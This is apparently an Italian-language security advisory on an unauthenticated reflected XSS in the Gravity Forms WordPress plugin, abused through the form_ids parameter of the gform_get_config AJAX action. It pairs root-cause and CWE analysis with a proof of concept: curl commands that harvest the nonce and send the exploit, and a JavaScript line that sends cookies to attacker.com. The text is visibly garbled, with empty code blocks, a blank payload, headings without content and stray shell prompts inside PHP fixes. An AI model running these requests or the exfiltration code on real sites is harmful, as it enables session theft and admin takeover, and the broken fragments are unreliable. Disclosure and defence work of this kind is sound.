Registro Pubblico Wordfence

Descrizione

Il plugin Gravity Forms per WordPress (testato fino alla versione 2.9.28) è vulnerabile a cross-site scripting (XSS) riflesso non autenticato tramite il parametro form_ids nell'azione AJAX gform_get_config. La vulnerabilità esiste perché i valori form_ids forniti dall'utente vengono riflessi testualmente nella risposta HTTP del server senza alcuna sanificazione, codifica o escaping dell'output. La risposta viene servita con un'intestazione Content-Type: text/html; charset=UTF-8, che induce il browser a interpretare e renderizzare il contenuto riflesso come HTML, inclusi eventuali elementi script iniettati.

Un attaccante non autenticato può sfruttare questa vulnerabilità per eseguire JavaScript arbitrario nel contesto dell'origine del sito WordPress di destinazione. Poiché l'azione gform_get_config richiede un config_nonce valido, e questo nonce è incorporato pubblicamente nel sorgente HTML di ogni pagina che carica un modulo Gravity Forms, un attaccante può ottenere facilmente un nonce valido richiedendo qualsiasi pagina pubblica del sito di destinazione prima di costruire la richiesta di exploit.

Uno sfruttamento riuscito consente a un attaccante di rubare i cookie di sessione, eseguire azioni per conto di utenti autenticati (inclusi gli amministratori di WordPress), reindirizzare gli utenti verso siti dannosi, deturpare il contenuto delle pagine o stabilire un accesso persistente tramite la creazione di account amministrativi.

Analisi della Causa Radice

Endpoint Vulnerabile```

POST /wp-admin/admin-ajax.php

Parametro Vulnerabile

Il parametro POST args accetta un oggetto JSON contenente un array form_ids. I valori in questo array vengono utilizzati come chiavi di oggetto nella struttura della risposta JSON senza sanificazione:```json {"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

Perché Questo È Sfruttabile

1. Nessuna Validazione dell'Input: I valori di form_ids non vengono validati come interi, sanitizzati o filtrati. Il server accetta contenuto stringa arbitrario, inclusi tag HTML e gestori di eventi.
2. Nessuna Codifica dell'Output: I valori di form_ids vengono riflessi nel corpo della risposta senza codifica delle entità HTML. Caratteri come <, >, " e ' passano senza modifiche.
3. Content-Type HTML: La risposta viene servita con Content-Type: text/html; charset=UTF-8, che istruisce il browser a interpretare il corpo della risposta come HTML. Qualsiasi tag HTML all'interno del valore riflesso viene istanziato e renderizzato dal parser HTML del browser.
4. Nonce Pubblicamente Accessibile: Il config_nonce richiesto dall'azione gform_get_config è incorporato nell'oggetto di configurazione JavaScript (gform_theme_config) su ogni pagina che carica un modulo Gravity Forms. Questo nonce è identico su tutte le pagine e non è legato a una specifica sessione utente, rendendolo banalmente ottenibile da utenti non autenticati.

Analisi CWE

Questa vulnerabilità è il risultato di molteplici debolezze concorrenti che si concatenano per produrre la condizione sfruttabile. Sebbene CWE-79 sia la classificazione primaria ai fini della segnalazione CVE, l'intera catena documenta come ogni fallimento si combini per abilitare lo sfruttamento.

Catena di Debolezze```

CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS

CWE-116: Codifica o Escape dell'Output Impropri (Guasto Tecnico Primario)

Ruolo: Vulnerabilità principale — la causa diretta della condizione XSS.

Quando il server costruisce la risposta JSON contenente i valori form_ids, non applica la codifica delle entità HTML all'output. I caratteri con significato speciale in HTML (<, >, ", ', &) passano senza modifiche nel corpo della risposta. Le funzioni PHP htmlspecialchars(), esc_html(), wp_json_encode() con JSON_HEX_TAG, o funzioni equivalenti di codifica dell'output non vengono applicate ai valori form_ids prima che vengano scritti nella risposta.

Evidenza: La stringa letterale <svg onload=alert(document.domain)> appare nel corpo della risposta byte per byte identica all'input, anziché come <svg onload=alert(document.domain)>.

CWE-838: Codifica Inappropriata per il Contesto dell'Output (Aggravante)

Ruolo: Escalation del contesto — trasforma un problema di riflessione dei dati in un'iniezione di codice eseguibile.

Il corpo della risposta contiene dati strutturati in JSON ma viene servito con Content-Type: text/html; charset=UTF-8. Questa dichiarazione Content-Type istruisce il parser HTML del browser a elaborare l'intero corpo della risposta come un documento HTML. Se la risposta fosse servita come application/json, il browser renderebbe la risposta come testo semplice e non avverrebbe alcun parsing HTML — i tag iniettati verrebbero visualizzati come testo letterale anziché essere istanziati come elementi DOM.

Evidenza:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)

Questo nonce è stato confermato come:

• Identico su tutte le pagine del sito di destinazione (homepage, pagine con moduli, pagine senza moduli)
• Non legato a una sessione utente (stesso valore restituito con o senza cookie)
• Non ruotato per richiesta (statico per periodi prolungati)

Intestazioni di Sicurezza Presenti (Insufficienti)

Prova di Concetto

Ambiente

Passaggio 1: Ottenere un Nonce Valido

Richiedi qualsiasi pagina del sito di destinazione che carichi un modulo Gravity Forms ed estrai il valore config_nonce:```bash curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

Passaggio 2: Inviare la richiesta di exploit

Invia una richiesta POST al gestore AJAX di WordPress con un valore form_ids appositamente costruito contenente un payload XSS:```bash curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="

Corpo della Risposta HTTP:```html

Response:```html

JavaScript decodificato:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

Scenario 3: DOM Takeover per Phishing

La XSS riflessa può sostituire l'intero DOM della pagina con un overlay di phishing convincente (ad es., una pagina di login falsa o un prompt di scadenza sessione) per raccogliere direttamente le credenziali.

Flusso di Attacco```

┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘

2. Codifica dell'output — Applicare wp_json_encode() con i flag JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT durante la costruzione della risposta JSON per garantire che i caratteri significativi per l'HTML vengano escapati: ```php echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
   root@kitploit:~

3. Correzione del Content-Type — Imposta il Content-Type della risposta su application/json invece di text/html per tutte le risposte JSON AJAX. Questo impedisce al browser di interpretare la risposta come HTML anche se viene riflesso contenuto non sanificato: ```php header('Content-Type: application/json; charset=UTF-8');
   root@kitploit:~

4. Scoping del Nonce — Valuta di legare il config_nonce alla sessione utente o di implementare un rate limiting sulla generazione dei nonce per aumentare il costo dello sfruttamento automatizzato.

Per gli Amministratori del Sito (Mitigazione Immediata)

1. Web Application Firewall (WAF) — Distribuisci regole WAF per rilevare e bloccare i tag HTML nel parametro args delle richieste POST a admin-ajax.php dove action=gform_get_config
2. Content Security Policy — Implementa una direttiva CSP script-src restrittiva (ad es., script-src 'self') per impedire l'esecuzione di script inline anche se riflessi
3. Monitora gli Aggiornamenti — Applica la patch di Gravity Forms non appena rilasciata
4. Verifica gli Account Amministratore — Controlla gli account amministratore esistenti per eventuali aggiunte non autorizzate

Cronologia della Divulgazione

Riferimenti

• Documentazione sulla Sicurezza di Gravity Forms
• [Contatto per la Sicurezza di Gravity Forms](mailto:[email protected])
• CWE-79: Neutralizzazione Impropria dell'Input Durante la Generazione di Pagine Web
• OWASP Cross-Site Scripting (XSS)
• API AJAX di WordPress — admin-ajax.php
• CVE-2023-2701 — Precedente XSS di Gravity Forms (vettore diverso)
• CVE-2024-13377 — Precedente XSS memorizzato di Gravity Forms tramite parametro alt (vettore diverso)

Disclaimer

Questa vulnerabilità è stata scoperta durante un impegno di test di penetrazione autorizzato condotto nell'ambito di una dichiarazione di lavoro firmata con esplicita autorizzazione scritta. Tutti i test sono stati eseguiti nell'ambito concordato e i risultati sono stati segnalati al cliente immediatamente dopo la scoperta. Questa divulgazione segue le pratiche di divulgazione responsabile. Non sono stati accessi sistemi non autorizzati e non sono stati esfiltrati dati al di fuori della validazione controllata del proof-of-concept.

Scoperta da: Anthony Cihan